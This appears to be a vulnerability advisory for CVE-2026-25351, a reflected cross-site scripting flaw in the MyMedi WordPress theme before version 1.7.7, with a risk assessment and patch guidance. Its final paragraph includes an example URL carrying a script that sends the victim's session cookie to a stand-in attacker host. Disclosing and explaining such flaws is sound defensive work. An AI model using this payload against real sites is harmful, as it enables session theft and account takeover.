Mymedi CVE-2026-25351

Remote unauthenticated attacker crafts malicious URL containing XSS payload and tricks victim into clicking link in MyMedi versions before 1.7.7. Victim must click the attacker-supplied link for exploitation.

Although CVSS and EPSS scores were not provided, the technical characteristics suggest a moderate-to-high real-world risk. Reflected XSS attacks typically have low attack complexity and require no authentication or user interaction beyond clicking a link, which aligns with CWE-79 patterns. The absence of CVSS/EPSS data prevents quantitative risk ranking, but the following factors elevate concern: (1) WordPress themes are widely deployed and frequently targeted; (2) the vulnerability affects all versions below 1.7.7, indicating a potentially large installed base; (3) Patchstack public disclosure increases awareness among both defenders and threat actors. However, the lack of evidence for active exploitation in known exploit databases (KEV status unknown) and the availability of a clear patch path (upgrade to 1.7.7+) suggest this is a real but manageable threat. Organizations should prioritize patching within a standard vulnerability window (1–2 weeks) rather than treating this as an emergency zero-day.

An attacker crafts a malicious URL containing JavaScript payload in a query parameter known to be reflected by the MyMedi theme (for example: https://vulnerable-site.com/?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and distributes it via phishing email or social media. A victim clicks the link while logged into their WordPress site, and the injected script executes in their browser, silently exfiltrating their session cookie to the attacker's server. The attacker can then use the stolen cookie to impersonate the victim, potentially escalating to administrator access if the victim is an admin, or modify site content to inject malware for all visitors. No sophisticated exploit kit is required; a simple URL manipulation suffices, making this attack vector highly accessible.